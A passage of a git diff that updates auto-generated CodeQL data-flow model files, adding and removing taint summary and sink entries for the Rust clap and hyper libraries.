"Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::into_resettable", "Argument[self]", "ReturnValue.Field[crate::builder::resettable::Resettable::Value(0)]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::into_resettable", "Argument[self]", "ReturnValue.Field[crate::builder::resettable::Resettable::Value(0)]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::bitor", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::action", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::add", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::alias", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -217,6 +219,7 @@ extensions: - ["repo:https://github.com/clap-rs/clap:clap_builder", "::visible_long_flag_aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::visible_short_flag_alias", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::visible_short_flag_aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::alias", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -242,6 +245,7 @@ extensions: - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Reference.Reference", "ReturnValue.Field[crate::builder::styled_str::StyledStr(0)]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Reference", "ReturnValue.Field[crate::builder::styled_str::StyledStr(0)]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0]", "ReturnValue.Field[crate::builder::styled_str::StyledStr(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::ansi", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::ansi", "Argument[self].Field[crate::builder::styled_str::StyledStr(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::as_styled_str", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -287,16 +291,25 @@ extensions: - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Field[crate::builder::value_parser::_AnonymousValueParser(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::apply", "Argument[self].Field[crate::error::Error::inner]", "ReturnValue.Field[crate::error::Error::inner]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::extend_context_unchecked", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::format", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::insert_context_unchecked", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::raw", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::set_color", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::set_colored_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::set_help_flag", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::set_message", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::set_source", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::set_styles", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::with_cmd", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_by_name", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::into_resettable", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::builder::resettable::Resettable::Value(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[0]", "ReturnValue.Field[crate::output::fmt::Colorizer::stream]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[1]", "ReturnValue.Field[crate::output::fmt::Colorizer::color_when]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::with_content", "Argument[0]", "Argument[self].Field[crate::output::fmt::Colorizer::content]", "value", "dfc-generated"] @@ -317,12 +330,12 @@ extensions: - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required", "Argument[0]", "ReturnValue.Field[crate::output::usage::Usage::required].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::deref", "Argument[self].Field[crate::parser::arg_matcher::ArgMatcher::matches]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::entry", "Argument[0]", "ReturnValue.Field[crate::util::flat_map::Entry::Vacant(0)].Field[crate::util::flat_map::VacantEntry::key]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::entry", "Argument[self].Field[crate::parser::arg_matcher::ArgMatcher::matches].Field[crate::parser::matches::arg_matches::ArgMatches::args]", "ReturnValue.Field[crate::util::flat_map::Entry::Occupied(0)].Field[crate::util::flat_map::OccupiedEntry::v]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::entry", "Argument[self].Field[crate::parser::arg_matcher::ArgMatcher::matches].Field[crate::parser::matches::arg_matches::ArgMatches::args]", "ReturnValue.Field[crate::util::flat_map::Entry::Vacant(0)].Field[crate::util::flat_map::VacantEntry::v]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::into_inner", "Argument[self].Field[crate::parser::arg_matcher::ArgMatcher::matches]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::pending_arg_id", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/clap-rs/clap:clap_builder", "::take_pending", "Argument[self].Field[crate::parser::arg_matcher::ArgMatcher::pending].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/clap-rs/clap:clap_builder", "::take_pending", "Argument[self].Field[crate::parser::arg_matcher::ArgMatcher::pending]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::unwrap", "Argument[1].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_subcommand", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::subcommand", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::subcommand_name", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::size_hint", "Argument[self].Field[crate::parser::matches::arg_matches::GroupedValues::len]", "ReturnValue.Field[0]", "value", "dfc-generated"] @@ -359,6 +372,7 @@ extensions: - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse", "Argument[self]", "Argument[1]", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[0]", "ReturnValue.Field[crate::parser::validator::Validator::cmd]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::type_id", "Argument[self].Field[crate::util::any_value::AnyValue::id]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::entry", "Argument[0]", "ReturnValue.Field[crate::util::flat_map::Entry::Vacant(0)].Field[crate::util::flat_map::VacantEntry::key]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::entry", "Argument[self]", "ReturnValue.Field[crate::util::flat_map::Entry::Occupied(0)].Field[crate::util::flat_map::OccupiedEntry::v]", "value", "dfc-generated"] @@ -376,9 +390,28 @@ extensions: pack: codeql/rust-all extensible: sinkModel data: + - ["repo:https://github.com/clap-rs/clap:clap_builder", "<_ as crate::builder::value_parser::TypedValueParser>::parse_ref", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::value_hint", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::_panic_on_missing_help", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::mut_group", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::mut_subcommand", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse_ref", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse_ref", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse_ref", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse_ref", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse_ref", "Argument[1]", "pointer-access", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::range", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse_ref", "Argument[1]", "pointer-access", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::range", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse_ref", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::wrap", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_required_usage_from", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::unwrap", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::unwrap", "Argument[1]", "log-injection", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::contains_id", "Argument[0]", "log-injection", "df-generated"] @@ -390,5 +423,20 @@ extensions: - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_raw", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_raw_occurrences", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_many", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_many", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_occurrences", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_occurrences", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_one", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_one", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::try_clear_id", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::try_remove_many", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::try_remove_occurrences", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::try_remove_one", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::check_explicit", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_matches_with", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_matches_with", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_entry", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::sort_by_key", "Argument[self]", "pointer-access", "df-generated"] diff --git a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_complete.model.yml b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_complete.model.yml index b9a0f77c4ed..877a73088d0 100644 --- a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_complete.model.yml +++ b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_complete.model.yml @@ -12,6 +12,7 @@ extensions: - ["repo:https://github.com/clap-rs/clap:clap_complete", "::file_name", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_complete", "::file_name", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_complete", "::file_name", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_complete", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_complete", "::file_name", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_complete", "::add_prefix", "Argument[self]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_derive.model.yml b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_derive.model.yml index 4397f956fcf..ebcb8bb114b 100644 --- a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_derive.model.yml +++ b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_derive.model.yml @@ -6,9 +6,9 @@ extensions: data: - ["repo:https://github.com/clap-rs/clap:clap_derive", "::lit_str_or_abort", "Argument[self].Field[crate::attr::ClapAttr::value].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "::value_or_abort", "Argument[self].Field[crate::attr::ClapAttr::value].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::value_or_abort", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "::action", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "::action", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/clap-rs/clap:clap_derive", "::cased_name", "Argument[self].Field[crate::item::Item::name].Field[crate::item::Name::Assigned(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "::casing", "Argument[self].Field[crate::item::Item::casing]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "::env_casing", "Argument[self].Field[crate::item::Item::env_casing]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "::from_args_field", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::item::Item::casing]", "value", "dfc-generated"] @@ -24,9 +24,7 @@ extensions: - ["repo:https://github.com/clap-rs/clap:clap_derive", "::id", "Argument[self].Field[crate::item::Item::name]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "::is_positional", "Argument[self].Field[crate::item::Item::is_positional]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "::kind", "Argument[self].Field[crate::item::Item::kind].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/clap-rs/clap:clap_derive", "::kind", "Argument[self].Field[crate::item::Item::kind]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "::skip_group", "Argument[self].Field[crate::item::Item::skip_group]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/clap-rs/clap:clap_derive", "::value_name", "Argument[self].Field[crate::item::Item::name].Field[crate::item::Name::Assigned(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "::value_parser", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "::value_parser", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "::args", "Argument[self].Field[crate::item::Method::args]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -42,14 +40,16 @@ extensions: - ["repo:https://github.com/clap-rs/clap:clap_derive", "::new", "Argument[1]", "ReturnValue.Field[crate::utils::spanned::Sp::span]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "::span", "Argument[self].Field[crate::utils::spanned::Sp::span]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::args::derive_args", "Argument[0].Reference", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::args::derive_args", "Argument[0]", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::args::derive_args", "Argument[0]", "ReturnValue.Field[crate::item::Item::name].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::parser::derive_parser", "Argument[0].Reference", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::parser::derive_parser", "Argument[0]", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::subcommand::derive_subcommand", "Argument[0].Reference", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::subcommand::derive_subcommand", "Argument[0]", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::subcommand::derive_subcommand", "Argument[0]", "ReturnValue.Field[crate::item::Item::name].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::value_enum::derive_value_enum", "Argument[0].Reference", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::value_enum::derive_value_enum", "Argument[0]", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::value_enum::derive_value_enum", "Argument[0]", "ReturnValue.Field[crate::item::Item::name].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::utils::ty::inner_type", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::action", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::value_parser", "Argument[self]", "pointer-access", "df-generated"] diff --git a/rust/ql/lib/ext/generated/hyper/repo-https-github.com-hyperium-hyper-hyper.model.yml b/rust/ql/lib/ext/generated/hyper/repo-https-github.com-hyperium-hyper-hyper.model.yml index 3e30d66ced4..eb2472e5765 100644 --- a/rust/ql/lib/ext/generated/hyper/repo-https-github.com-hyperium-hyper-hyper.model.yml +++ b/rust/ql/lib/ext/generated/hyper/repo-https-github.com-hyperium-hyper-hyper.model.yml @@ -4,12 +4,13 @@ extensions: pack: codeql/rust-all extensible: summaryModel data: + - ["repo:https://github.com/hyperium/hyper:hyper", "<_ as crate::ffi::task::IntoDynTaskType>::into_dyn_task_type", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::read", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::call", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::as_ffi_mut", "Argument[self].Field[crate::body::incoming::Incoming::kind].Field[crate::body::incoming::Kind::Ffi(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::h2", "Argument[0]", "ReturnValue.Field[crate::body::incoming::Incoming::kind].Field[crate::body::incoming::Kind::H2::recv]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::h2", "Argument[1]", "ReturnValue.Field[crate::body::incoming::Incoming::kind].Field[crate::body::incoming::Kind::H2::content_length]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::h2", "Argument[2]", "ReturnValue.Field[crate::body::incoming::Incoming::kind].Field[crate::body::incoming::Kind::H2::ping]", "value", "dfc-generated"] - - ["repo:https://github.com/hyperium/hyper:hyper", "::from", "Argument[0].Field[crate::option::Option::Some(0)].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::checked_new", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::body::length::DecodedLength(0)]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::danger_len", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::danger_len", "Argument[self].Field[crate::body::length::DecodedLength(0)]", "ReturnValue", "value", "dfc-generated"] @@ -77,23 +78,25 @@ extensions: - ["repo:https://github.com/hyperium/hyper:hyper", "::max_send_buf_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::client::conn::http2::Builder::exec]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::timer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self].Field[crate::client::conn::http2::SendRequest::dispatch].Field[crate::client::dispatch::UnboundedSender::inner]", "ReturnValue.Field[crate::client::conn::http2::SendRequest::dispatch].Field[crate::client::dispatch::UnboundedSender::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self].Field[crate::client::conn::http2::SendRequest::dispatch].Reference", "ReturnValue.Field[crate::client::conn::http2::SendRequest::dispatch]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self].Field[crate::client::conn::http2::SendRequest::dispatch]", "ReturnValue.Field[crate::client::conn::http2::SendRequest::dispatch]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::send", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::try_send", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::unbound", "Argument[self].Field[crate::client::dispatch::Sender::inner]", "ReturnValue.Field[crate::client::dispatch::UnboundedSender::inner]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::into_error", "Argument[self].Field[crate::client::dispatch::TrySendError::error]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/hyperium/hyper:hyper", "::take_message", "Argument[self].Field[crate::client::dispatch::TrySendError::message].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/hyperium/hyper:hyper", "::take_message", "Argument[self].Field[crate::client::dispatch::TrySendError::message]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self].Field[crate::client::dispatch::UnboundedSender::giver].Reference", "ReturnValue.Field[crate::client::dispatch::UnboundedSender::giver]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self].Field[crate::client::dispatch::UnboundedSender::inner].Reference", "ReturnValue.Field[crate::client::dispatch::UnboundedSender::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self].Field[crate::client::dispatch::UnboundedSender::inner]", "ReturnValue.Field[crate::client::dispatch::UnboundedSender::inner]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::common::io::compat::Compat(0)]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::into_inner", "Argument[self].Field[crate::common::io::rewind::Rewind::inner]", "ReturnValue.Field[0]", "value", "dfc-generated"] - - ["repo:https://github.com/hyperium/hyper:hyper", "::into_inner", "Argument[self].Field[crate::common::io::rewind::Rewind::pre].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[1]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::common::io::rewind::Rewind::inner]", "value", "dfc-generated"] - 